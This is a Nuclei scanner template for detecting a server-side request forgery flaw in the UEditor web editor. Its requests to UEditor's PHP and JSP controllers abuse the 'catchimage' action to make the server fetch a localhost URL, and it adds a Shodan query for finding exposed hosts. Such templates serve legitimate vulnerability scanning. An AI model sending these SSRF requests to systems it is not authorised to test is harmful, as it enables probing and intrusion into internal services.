id: ueditor-ssrf

info:
  name: UEditor - Server Side Request Forgery
  author: pwnhxl
  severity: medium
  description: UEditor contains an Server Side Request Forgery vulnerability.
  reference:
    - https://xz.aliyun.com/t/4154
    - https://www.seebug.org/vuldb/ssvid-97311
  metadata:
    max-request: 2
    verified: true
    shodan-query: html:"UEditor"
  tags: ueditor,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png"
      - "{{BaseURL}}/ueditor/jsp/controller.jsp?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '\u94fe\u63a5\u4e0d\u53ef\u7528'
          - '"original":'
          - '"SUCCESS"'
        condition: and

      - type: status
        status:
          - 200